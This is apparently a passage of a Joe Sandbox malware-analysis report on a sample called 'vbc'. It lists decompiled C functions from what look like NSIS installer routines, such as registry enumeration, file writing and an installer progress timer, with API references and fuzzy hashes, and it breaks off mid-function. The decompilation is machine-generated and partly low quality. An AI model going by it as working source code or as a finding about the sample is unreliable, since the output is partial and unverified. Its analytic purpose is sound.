0x004067fc
0x004067ff
0x00406804
0x00406806
0x0040680f
0x00406813
0x00406830
0x00406838
0x00406838
0x0040683d
0x0040683f
0x00406842
0x00406847
0x00406848
0x0040684c
0x0040684c
0x0040684d
0x00406854
0x00406856
0x0040685d
0x00000000
0x00000000
0x00406865
0x0040686b
0x00000000
0x00000000
0x00000000
0x0040686b
0x00406870

APIs

CharNextW.USER32(?), ref: 00406827
CharNextW.USER32(?), ref: 00406836
CharNextW.USER32(?), ref: 0040683B
CharPrevW.USER32(?,?), ref: 0040684E

Strings

*?|<>/":, xrefs: 00406816
C:\Users\user\AppData\Local\Temp\, xrefs: 004067C5

Memory Dump Source

Source File: 00000004.00000002.680171348.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.680167485.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680176661.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680179731.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680203041.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680205712.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680210866.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680213751.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-3083651966
Opcode ID: 7f8a10c6574f84f045d99a2f2ba91d71661da1c9dbe2055a6f375f6d39957bd5
Instruction ID: 8e05d213a2b26a47bd0c986db1e6a85e10b5e067f284fb5e9645f7af11a9ce3c
Opcode Fuzzy Hash: 7f8a10c6574f84f045d99a2f2ba91d71661da1c9dbe2055a6f375f6d39957bd5
Instruction Fuzzy Hash: 7311862780161295DB313B158C44A77A2A8AF58798F56843FED86B32C1E77C8C9282AD

Uniqueness

Uniqueness Score: -1.00%

Function 00404E54 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404E54(struct HWND__* _a4, intOrPtr _a8) {
				long _v8;
				signed char _v12;
				unsigned int _v16;
				void* _v20;
				intOrPtr _v24;
				long _v56;
				void* _v60;
				long _t15;
				unsigned int _t19;
				signed int _t25;
				struct HWND__* _t28;

				_t28 = _a4;
				_t15 = SendMessageW(_t28, 0x110a, 9, 0);
				if(_a8 == 0) {
					L4:
					_v56 = _t15;
					_v60 = 4;
					SendMessageW(_t28, 0x113e, 0,  &_v60);
					return _v24;
				}
				_t19 = GetMessagePos();
				_v16 = _t19 >> 0x10;
				_v20 = _t19;
				ScreenToClient(_t28,  &_v20);
				_t25 = SendMessageW(_t28, 0x1111, 0,  &_v20);
				if((_v12 & 0x00000066) != 0) {
					_t15 = _v8;
					goto L4;
				}
				return _t25 | 0xffffffff;
			}

0x00404e62
0x00404e6f
0x00404e75
0x00404eb3
0x00404eb3
0x00404ec2
0x00404ec9
0x00000000
0x00404ecb
0x00404e77
0x00404e86
0x00404e8e
0x00404e91
0x00404ea3
0x00404ea9
0x00404eb0
0x00000000
0x00404eb0
0x00000000

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404E6F
GetMessagePos.USER32 ref: 00404E77
ScreenToClient.USER32(?,?), ref: 00404E91
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404EA3
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404EC9

Strings

f, xrefs: 00404EA5

Memory Dump Source

Source File: 00000004.00000002.680171348.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.680167485.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680176661.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680179731.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680203041.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680205712.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680210866.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680213751.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: b2affdf3b53bee8738e3b61904ea6c87bda347b462d3853a737802ef9deed65a
Instruction ID: 177f1d0b32132a6560496663958852c5fe6f1b23f9da62007dee57caca3d7f28
Opcode Fuzzy Hash: b2affdf3b53bee8738e3b61904ea6c87bda347b462d3853a737802ef9deed65a
Instruction Fuzzy Hash: 34014C71900219BADB00DBA4DD85BFFBBB8AB54711F10012BBA50B61C0D7B49A058BA5

Uniqueness

Uniqueness Score: -1.00%

Function 00402F93 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402F93(struct HWND__* _a4, intOrPtr _a8) {
				short _v132;
				int _t11;
				int _t20;

				if(_a8 == 0x110) {
					SetTimer(_a4, 1, 0xfa, 0);
					_a8 = 0x113;
				}
				if(_a8 == 0x113) {
					_t20 =  *0x41ea18; // 0x1629b
					_t11 =  *0x42aa24;
					if(_t20 >= _t11) {
						_t20 = _t11;
					}
					wsprintfW( &_v132, L"verifying installer: %d%%", MulDiv(_t20, 0x64, _t11));
					SetWindowTextW(_a4,  &_v132);
					SetDlgItemTextW(_a4, 0x406,  &_v132);
				}
				return 0;
			}

0x00402fa3
0x00402fb1
0x00402fb7
0x00402fb7
0x00402fc5
0x00402fc7
0x00402fcd
0x00402fd4
0x00402fd6
0x00402fd6
0x00402fec
0x00402ffc
0x0040300e
0x0040300e
0x00403016

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402FB1
MulDiv.KERNEL32 ref: 00402FDC
wsprintfW.USER32 ref: 00402FEC
SetWindowTextW.USER32 ref: 00402FFC
SetDlgItemTextW.USER32 ref: 0040300E

Strings

verifying installer: %d%%, xrefs: 00402FE6

Memory Dump Source

Source File: 00000004.00000002.680171348.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.680167485.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680176661.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680179731.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680203041.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680205712.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680210866.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680213751.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: ea3fb41b8b9d1af7e43715991a6ce4dd060937d78b5a266238e4f5c2501e20f6
Instruction ID: eb17ebabde20c32bd565f0ca98bf5c3c7f8a04474e671541d9d17dad0456e96b
Opcode Fuzzy Hash: ea3fb41b8b9d1af7e43715991a6ce4dd060937d78b5a266238e4f5c2501e20f6
Instruction Fuzzy Hash: 20014B7064020DABEF209F60DE4AFEA3B79FB04345F008039FA06B51D0DBB999559F69

Uniqueness

Uniqueness Score: -1.00%

Function 73282655 Relevance: 9.1, APIs: 6, Instructions: 109
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E73282655() {
				intOrPtr _t24;
				void* _t26;
				intOrPtr _t27;
				signed int _t39;
				void* _t40;
				void* _t43;
				intOrPtr _t44;
				void* _t45;

				_t40 = E732812BB();
				_t24 =  *((intOrPtr*)(_t45 + 0x18));
				_t44 =  *((intOrPtr*)(_t24 + 0x1014));
				_t43 = (_t44 + 0x81 << 5) + _t24;
				do {
					if( *((intOrPtr*)(_t43 - 4)) >= 0) {
					}
					_t39 =  *(_t43 - 8) & 0x000000ff;
					if(_t39 <= 7) {
						switch( *((intOrPtr*)(_t39 * 4 +  &M73282784))) {
							case 0:
								 *_t40 = 0;
								goto L17;
							case 1:
								__eax =  *__eax;
								if(__ecx > __ebx) {
									 *(__esp + 0x10) = __ecx;
									__ecx =  *(0x7328407c + __edx * 4);
									__edx =  *(__esp + 0x10);
									__ecx = __ecx * __edx;
									asm("sbb edx, edx");
									__edx = __edx & __ecx;
									__eax = __eax &  *(0x7328409c + __edx * 4);
								}
								_push(__eax);
								goto L15;
							case 2:
								__eax = E73281510(__edx,  *__eax,  *((intOrPtr*)(__eax + 4)), __edi);
								goto L16;
							case 3:
								__ecx =  *0x7328506c;
								__edx = __ecx - 1;
								__eax = MultiByteToWideChar(__ebx, __ebx,  *__eax, __ecx, __edi, __edx);
								__eax =  *0x7328506c;
								 *((short*)(__edi + __eax * 2 - 2)) = __bx;
								goto L17;
							case 4:
								__eax = lstrcpynW(__edi,  *__eax,  *0x7328506c);
								goto L17;
							case 5:
								_push( *0x7328506c);
								_push(__edi);
								_push( *__eax);
								__imp__StringFromGUID2();
								goto L17;
							case 6:
								_push( *__esi);
								L15:
								__eax = wsprintfW(__edi, 0x73285000);
								L16:
								__esp = __esp + 0xc;
								goto L17;
						}
					}
					L17:
					_t26 =  *(_t43 + 0x14);
					if(_t26 != 0 && ( *((intOrPtr*)( *((intOrPtr*)(_t45 + 0x18)))) != 2 ||  *((intOrPtr*)(_t43 - 4)) > 0)) {
						GlobalFree(_t26);
					}
					_t27 =  *((intOrPtr*)(_t43 + 0xc));
					if(_t27 != 0) {
						if(_t27 != 0xffffffff) {
							if(_t27 > 0) {
								E73281381(_t27 - 1, _t40);
								goto L26;
							}
						} else {
							E73281312(_t40);
							L26:
						}
					}
					_t44 = _t44 - 1;
					_t43 = _t43 - 0x20;
				} while (_t44 >= 0);
				return GlobalFree(_t40);
			}

0x7328265f
0x73282661
0x73282665
0x73282674
0x73282678
0x7328267d
0x7328267d
0x73282685
0x7328268c
0x73282692
0x00000000
0x73282699
0x00000000
0x00000000
0x732826a1
0x732826a5
0x732826a8
0x732826ac
0x732826b3
0x732826b7
0x732826bd
0x732826bf
0x732826c1
0x732826c1
0x732826c8
0x00000000
0x00000000
0x732826d1
0x00000000
0x00000000
0x732826d8
0x732826de
0x732826e8
0x732826ee
0x732826f3
0x00000000
0x00000000
0x73282714
0x00000000
0x00000000
0x732826fa
0x73282700
0x73282701
0x73282703
0x00000000
0x00000000
0x7328271c
0x7328271e
0x73282724
0x7328272a
0x7328272a
0x00000000
0x00000000
0x73282692
0x7328272d
0x7328272d
0x73282732
0x73282743
0x73282743
0x73282749
0x7328274e
0x73282753
0x7328275f
0x73282764
0x00000000
0x73282769
0x73282755
0x73282756
0x7328276a
0x7328276a
0x73282753
0x7328276b
0x7328276c
0x7328276f
0x73282783

APIs

Part of subcall function 732812BB: GlobalAlloc.KERNELBASE(00000040,?,732812DB,?,7328137F,00000019,732811CA,-000000A0), ref: 732812C5

GlobalFree.KERNEL32(?), ref: 73282743
GlobalFree.KERNEL32(00000000), ref: 73282778

Memory Dump Source

Source File: 00000004.00000002.680334815.0000000073281000.00000020.00000001.01000000.00000004.sdmp, Offset: 73280000, based on PE: true

Associated: 00000004.00000002.680330419.0000000073280000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.680339813.0000000073284000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.680344167.0000000073286000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_73280000_vbc.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: df26d03a97e817f5113a3dc9f93109ac0b1fdb737bd8ec5bcfcf29d77c001928
Instruction ID: b34f27f60080445c526e11579c6f1be6ab316017ca26752e04c272a69485bd57
Opcode Fuzzy Hash: df26d03a97e817f5113a3dc9f93109ac0b1fdb737bd8ec5bcfcf29d77c001928
Instruction Fuzzy Hash: FA31047260431ADFD71A9F52CD88FEA7BBAFB853043248129F106972D0C7746884EB62

Uniqueness

Uniqueness Score: -1.00%

Function 00402950 Relevance: 9.1, APIs: 6, Instructions: 91
memoryfileCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00402950(int __ebx, void* __eflags) {
				WCHAR* _t26;
				void* _t29;
				long _t37;
				int _t49;
				void* _t52;
				void* _t54;
				void* _t56;
				void* _t59;
				void* _t60;
				void* _t61;

				_t49 = __ebx;
				_t52 = 0xfffffd66;
				_t26 = E00402DA6(0xfffffff0);
				_t55 = _t26;
				 *(_t61 - 0x40) = _t26;
				if(E00405E83(_t26) == 0) {
					E00402DA6(0xffffffed);
				}
				E00406008(_t55);
				_t29 = E0040602D(_t55, 0x40000000, 2);
				 *(_t61 + 8) = _t29;
				if(_t29 != 0xffffffff) {
					 *(_t61 - 0x38) =  *(_t61 - 0x2c);
					if( *(_t61 - 0x28) != _t49) {
						_t37 =  *0x434f14;
						 *(_t61 - 0x44) = _t37;
						_t54 = GlobalAlloc(0x40, _t37);
						if(_t54 != _t49) {
							E004034E5(_t49);
							E004034CF(_t54,  *(_t61 - 0x44));
							_t59 = GlobalAlloc(0x40,  *(_t61 - 0x28));
							 *(_t61 - 0x10) = _t59;
							if(_t59 != _t49) {
								E004032B4( *(_t61 - 0x2c), _t49, _t59,  *(_t61 - 0x28));
								while( *_t59 != _t49) {
									_t60 = _t59 + 8;
									 *(_t61 - 0x3c) =  *_t59;
									E00405FE8( *((intOrPtr*)(_t59 + 4)) + _t54, _t60,  *_t59);
									_t59 = _t60 +  *(_t61 - 0x3c);
								}
								GlobalFree( *(_t61 - 0x10));
							}
							E004060DF( *(_t61 + 8), _t54,  *(_t61 - 0x44));
							GlobalFree(_t54);
							 *(_t61 - 0x38) =  *(_t61 - 0x38) | 0xffffffff;
						}
					}
					_t52 = E004032B4( *(_t61 - 0x38),  *(_t61 + 8), _t49, _t49);
					CloseHandle( *(_t61 + 8));
				}
				_t56 = 0xfffffff3;
				if(_t52 < _t49) {
					_t56 = 0xffffffef;
					DeleteFileW( *(_t61 - 0x40));
					 *((intOrPtr*)(_t61 - 4)) = 1;
				}
				_push(_t56);
				E00401423();
				 *0x434f88 =  *0x434f88 +  *((intOrPtr*)(_t61 - 4));
				return 0;
			}

0x00402950
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0x00402c39

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 004029B1
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 004029CD
GlobalFree.KERNEL32(?), ref: 00402A06
GlobalFree.KERNEL32(00000000), ref: 00402A19
CloseHandle.KERNEL32(?), ref: 00402A35
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 00402A48

Memory Dump Source

Source File: 00000004.00000002.680171348.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.680167485.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680176661.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680179731.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680203041.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680205712.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680210866.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680213751.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: 18333e3c7c5edca9258600c879c391e4e8cb8a080c4e0dd56f257e0fabcb70bb
Instruction ID: 8fc1a79e9ee36ebd610a2d663d7387b5f1fea8f48d7bc9e01940cd119f3fb53c
Opcode Fuzzy Hash: 18333e3c7c5edca9258600c879c391e4e8cb8a080c4e0dd56f257e0fabcb70bb
Instruction Fuzzy Hash: 5831C271D00124BBCF216FA9CE49DDEBE79AF49364F14023AF450762E0CB794C429BA8

Uniqueness

Uniqueness Score: -1.00%

Function 73281979 Relevance: 7.7, APIs: 5, Instructions: 194
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E73281979(signed int __edx, void* __eflags, void* _a8, void* _a16) {
				void* _v8;
				signed int _v12;
				signed int _v20;
				signed int _v24;
				char _v76;
				void _t45;
				signed int _t46;
				signed int _t47;
				signed int _t48;
				signed int _t57;
				signed int _t58;
				signed int _t59;
				signed int _t60;
				signed int _t61;
				void* _t67;
				void* _t68;
				void* _t69;
				void* _t70;
				void* _t71;
				signed int _t77;
				void* _t81;
				signed int _t83;
				signed int _t85;
				signed int _t87;
				signed int _t90;
				void* _t101;

				_t85 = __edx;
				 *0x7328506c = _a8;
				_t77 = 0;
				 *0x73285070 = _a16;
				_v12 = 0;
				_v8 = E732812E3();
				_t90 = E732813B1(_t42);
				_t87 = _t85;
				_t81 = E732812E3();
				_a8 = _t81;
				_t45 =  *_t81;
				if(_t45 != 0x7e && _t45 != 0x21) {
					_a16 = E732812E3();
					_t77 = E732813B1(_t74);
					_v12 = _t85;
					GlobalFree(_a16);
					_t81 = _a8;
				}
				_t46 =  *_t81 & 0x0000ffff;
				_t101 = _t46 - 0x2f;
				if(_t101 > 0) {
					_t47 = _t46 - 0x3c;
					__eflags = _t47;
					if(_t47 == 0) {
						__eflags =  *((short*)(_t81 + 2)) - 0x3c;
						if( *((short*)(_t81 + 2)) != 0x3c) {
							__eflags = _t87 - _v12;
							if(__eflags > 0) {
								L56:
								_t48 = 0;
								__eflags = 0;
								L57:
								asm("cdq");
								L58:
								_t90 = _t48;
								_t87 = _t85;
								L59:
								E73281510(_t85, _t90, _t87,  &_v76);
								E73281312( &_v76);
								GlobalFree(_v8);
								return GlobalFree(_a8);
							}
							if(__eflags < 0) {
								L49:
								__eflags = 0;
								L50:
								_t48 = 1;
								goto L57;
							}
							__eflags = _t90 - _t77;
							if(_t90 < _t77) {
								goto L49;
							}
							goto L56;
						}
						_t85 = _t87;
						_t48 = E73283050(_t90, _t77, _t85);
						goto L58;
					}
					_t57 = _t47 - 1;
					__eflags = _t57;
					if(_t57 == 0) {
						__eflags = _t90 - _t77;
						if(_t90 != _t77) {
							goto L56;
						}
						__eflags = _t87 - _v12;
						if(_t87 != _v12) {
							goto L56;
						}
						goto L49;
					}
					_t58 = _t57 - 1;
					__eflags = _t58;
					if(_t58 == 0) {
						__eflags =  *((short*)(_t81 + 2)) - 0x3e;
						if( *((short*)(_t81 + 2)) != 0x3e) {
							__eflags = _t87 - _v12;
							if(__eflags < 0) {
								goto L56;
							}
							if(__eflags > 0) {
								goto L49;
							}
							__eflags = _t90 - _t77;
							if(_t90 <= _t77) {
								goto L56;
							}
							goto L49;
						}
						__eflags =  *((short*)(_t81 + 4)) - 0x3e;
						_t85 = _t87;
						_t59 = _t90;
						_t83 = _t77;
						if( *((short*)(_t81 + 4)) != 0x3e) {
							_t48 = E73283070(_t59, _t83, _t85);
						} else {
							_t48 = E732830A0(_t59, _t83, _t85);
						}
						goto L58;
					}
					_t60 = _t58 - 0x20;
					__eflags = _t60;
					if(_t60 == 0) {
						_t90 = _t90 ^ _t77;
						_t87 = _t87 ^ _v12;
						goto L59;
					}
					_t61 = _t60 - 0x1e;
					__eflags = _t61;
					if(_t61 == 0) {
						__eflags =  *((short*)(_t81 + 2)) - 0x7c;
						if( *((short*)(_t81 + 2)) != 0x7c) {
							_t90 = _t90 | _t77;
							_t87 = _t87 | _v12;
							goto L59;
						}
						__eflags = _t90 | _t87;
						if((_t90 | _t87) != 0) {
							goto L49;
						}
						__eflags = _t77 | _v12;
						if((_t77 | _v12) != 0) {
							goto L49;
						}
						goto L56;
					}
					__eflags = _t61 == 0;
					if(_t61 == 0) {
						_t90 =  !_t90;
						_t87 =  !_t87;
					}
					goto L59;
				}
				if(_t101 == 0) {
					L21:
					__eflags = _t77 | _v12;
					if((_t77 | _v12) != 0) {
						_v24 = E73282EE0(_t90, _t87, _t77, _v12);
						_v20 = _t85;
						_t48 = E73282F90(_t90, _t87, _t77, _v12);
						_t81 = _a8;
					} else {
						_v24 = _v24 & 0x00000000;
						_v20 = _v20 & 0x00000000;
						_t48 = _t90;
						_t85 = _t87;
					}
					__eflags =  *_t81 - 0x2f;
					if( *_t81 != 0x2f) {
						goto L58;
					} else {
						_t90 = _v24;
						_t87 = _v20;
						goto L59;
					}
				}
				_t67 = _t46 - 0x21;
				if(_t67 == 0) {
					_t48 = 0;
					__eflags = _t90 | _t87;
					if((_t90 | _t87) != 0) {
						goto L57;
					}
					goto L50;
				}
				_t68 = _t67 - 4;
				if(_t68 == 0) {
					goto L21;
				}
				_t69 = _t68 - 1;
				if(_t69 == 0) {
					__eflags =  *((short*)(_t81 + 2)) - 0x26;
					if( *((short*)(_t81 + 2)) != 0x26) {
						_t90 = _t90 & _t77;
						_t87 = _t87 & _v12;
						goto L59;
					}
					__eflags = _t90 | _t87;
					if((_t90 | _t87) == 0) {
						goto L56;
					}
					__eflags = _t77 | _v12;
					if((_t77 | _v12) == 0) {
						goto L56;
					}
					goto L49;
				}
				_t70 = _t69 - 4;
				if(_t70 == 0) {
					_t48 = E73282EA0(_t90, _t87, _t77, _v12);
					goto L58;
				} else {
					_t71 = _t70 - 1;
					if(_t71 == 0) {
						_t90 = _t90 + _t77;
						asm("adc edi, [ebp-0x8]");
					} else {
						if(_t71 == 0) {
							_t90 = _t90 - _t77;
							asm("sbb edi, [ebp-0x8]");
						}
					}
					goto L59;
				}
			}

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0x00000000
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APIs

GlobalFree.KERNEL32(?), ref: 732819DA
GlobalFree.KERNEL32(?), ref: 73281B7A
GlobalFree.KERNEL32(?), ref: 73281B7F

Memory Dump Source

Source File: 00000004.00000002.680334815.0000000073281000.00000020.00000001.01000000.00000004.sdmp, Offset: 73280000, based on PE: true

Associated: 00000004.00000002.680330419.0000000073280000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.680339813.0000000073284000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.680344167.0000000073286000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_73280000_vbc.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: fac573545b5c4f5aa7fa181a102ba05209c8c2bdeb0ae0f1edf0b1a540345066
Instruction ID: 2f3065ae273deb59b454a12a6298ab46455d55243d5b5f681912ee59548531d7
Opcode Fuzzy Hash: fac573545b5c4f5aa7fa181a102ba05209c8c2bdeb0ae0f1edf0b1a540345066
Instruction Fuzzy Hash: BA51E732F1021AABDB069FACC4447DEBBBAEB44310F18815AD406B32D4F6B5B9C5C791

Uniqueness

Uniqueness Score: -1.00%

Function 73282480 Relevance: 7.6, APIs: 5, Instructions: 135
memoryCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E73282480(void* __edx) {
				void* _t37;
				signed int _t38;
				void* _t39;
				void* _t41;
				signed char* _t42;
				signed char* _t51;
				void* _t52;
				void* _t54;

				 *(_t54 + 0x10) = 0 |  *((intOrPtr*)( *((intOrPtr*)(_t54 + 8)) + 0x1014)) > 0x00000000;
				while(1) {
					_t9 =  *((intOrPtr*)(_t54 + 0x18)) + 0x1018; // 0x1018
					_t51 = ( *(_t54 + 0x10) << 5) + _t9;
					_t52 = _t51[0x18];
					if(_t52 == 0) {
						goto L9;
					}
					_t41 = 0x1a;
					if(_t52 == _t41) {
						goto L9;
					}
					if(_t52 != 0xffffffff) {
						if(_t52 <= 0 || _t52 > 0x19) {
							_t51[0x18] = _t41;
							goto L12;
						} else {
							_t37 = E7328135A(_t52 - 1);
							L10:
							goto L11;
						}
					} else {
						_t37 = E732812E3();
						L11:
						_t52 = _t37;
						L12:
						_t13 =  &(_t51[8]); // 0x1020
						_t42 = _t13;
						if(_t51[4] >= 0) {
						}
						_t38 =  *_t51 & 0x000000ff;
						_t51[0x1c] = 0;
						if(_t38 > 7) {
							L27:
							_t39 = GlobalFree(_t52);
							if( *(_t54 + 0x10) == 0) {
								return _t39;
							}
							if( *(_t54 + 0x10) !=  *((intOrPtr*)( *((intOrPtr*)(_t54 + 0x18)) + 0x1014))) {
								 *(_t54 + 0x10) =  *(_t54 + 0x10) + 1;
							} else {
								 *(_t54 + 0x10) =  *(_t54 + 0x10) & 0x00000000;
							}
							continue;
						} else {
							switch( *((intOrPtr*)(_t38 * 4 +  &M732825F8))) {
								case 0:
									 *_t42 = 0;
									goto L27;
								case 1:
									__eax = E732813B1(__ebp);
									goto L21;
								case 2:
									 *__edi = E732813B1(__ebp);
									__edi[1] = __edx;
									goto L27;
								case 3:
									__eax = GlobalAlloc(0x40,  *0x7328506c);
									 *(__esi + 0x1c) = __eax;
									__edx = 0;
									 *__edi = __eax;
									__eax = WideCharToMultiByte(0, 0, __ebp,  *0x7328506c, __eax,  *0x7328506c, 0, 0);
									goto L27;
								case 4:
									__eax = E732812CC(__ebp);
									 *(__esi + 0x1c) = __eax;
									L21:
									 *__edi = __eax;
									goto L27;
								case 5:
									__eax = GlobalAlloc(0x40, 0x10);
									_push(__eax);
									 *(__esi + 0x1c) = __eax;
									_push(__ebp);
									 *__edi = __eax;
									__imp__CLSIDFromString();
									goto L27;
								case 6:
									if( *__ebp != __cx) {
										__eax = E732813B1(__ebp);
										 *__ebx = __eax;
									}
									goto L27;
								case 7:
									 *(__esi + 0x18) =  *(__esi + 0x18) - 1;
									( *(__esi + 0x18) - 1) *  *0x7328506c =  *0x73285074 + ( *(__esi + 0x18) - 1) *  *0x7328506c * 2 + 0x18;
									 *__ebx =  *0x73285074 + ( *(__esi + 0x18) - 1) *  *0x7328506c * 2 + 0x18;
									asm("cdq");
									__eax = E73281510(__edx,  *0x73285074 + ( *(__esi + 0x18) - 1) *  *0x7328506c * 2 + 0x18, __edx,  *0x73285074 + ( *(__esi + 0x18) - 1) *  *0x7328506c * 2);
									goto L27;
							}
						}
					}
					L9:
					_t37 = E732812CC(0x73285044);
					goto L10;
				}
			}

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0x00000000
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0x00000000
0x00000000
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0x00000000
0x00000000
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0x00000000
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0x00000000
0x00000000
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0x00000000
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0x00000000
0x00000000
0x73282508
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0x732824db
0x732824e0
0x00000000
0x732824e0

APIs

GlobalFree.KERNEL32(00000000), ref: 732825C2

Part of subcall function 732812CC: lstrcpynW.KERNEL32(00000000,?,7328137F,00000019,732811CA,-000000A0), ref: 732812DC

GlobalAlloc.KERNEL32(00000040), ref: 73282548
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 73282563

Memory Dump Source

Source File: 00000004.00000002.680334815.0000000073281000.00000020.00000001.01000000.00000004.sdmp, Offset: 73280000, based on PE: true

Associated: 00000004.00000002.680330419.0000000073280000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.680339813.0000000073284000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.680344167.0000000073286000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_73280000_vbc.jbxd

Similarity

API ID: Global$AllocByteCharFreeMultiWidelstrcpyn
String ID:
API String ID: 4216380887-0
Opcode ID: be19d93953eb7dd818449451899f3c558546e6638895d4c0731c97430093dc97
Instruction ID: 35ab77e44c613133930b6aceebc56fc9d5167dad3f7b76c25f2f07bda146a88a
Opcode Fuzzy Hash: be19d93953eb7dd818449451899f3c558546e6638895d4c0731c97430093dc97
Instruction Fuzzy Hash: 0D419CB110931ADFE719EF259844BE677F8FB48310F20891DE84A865C1E778A5C4DB71

Uniqueness

Uniqueness Score: -1.00%

Function 00402EA9 Relevance: 7.6, APIs: 5, Instructions: 84
registryCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E00402EA9(void* __eflags, void* _a4, short* _a8, signed int _a12) {
				void* _v8;
				int _v12;
				short _v536;
				void* _t27;
				signed int _t33;
				intOrPtr* _t35;
				signed int _t45;
				signed int _t46;
				signed int _t47;

				_t46 = _a12;
				_t47 = _t46 & 0x00000300;
				_t45 = _t46 & 0x00000001;
				_t27 = E004063AA(__eflags, _a4, _a8, _t47 | 0x00000009,  &_v8);
				if(_t27 == 0) {
					if((_a12 & 0x00000002) == 0) {
						L3:
						_push(0x105);
						_push( &_v536);
						_push(0);
						while(RegEnumKeyW(_v8, ??, ??, ??) == 0) {
							__eflags = _t45;
							if(__eflags != 0) {
								L10:
								RegCloseKey(_v8);
								return 0x3eb;
							}
							_t33 = E00402EA9(__eflags, _v8,  &_v536, _a12);
							__eflags = _t33;
							if(_t33 != 0) {
								break;
							}
							_push(0x105);
							_push( &_v536);
							_push(_t45);
						}
						RegCloseKey(_v8);
						_t35 = E0040690A(3);
						if(_t35 != 0) {
							return  *_t35(_a4, _a8, _t47, 0);
						}
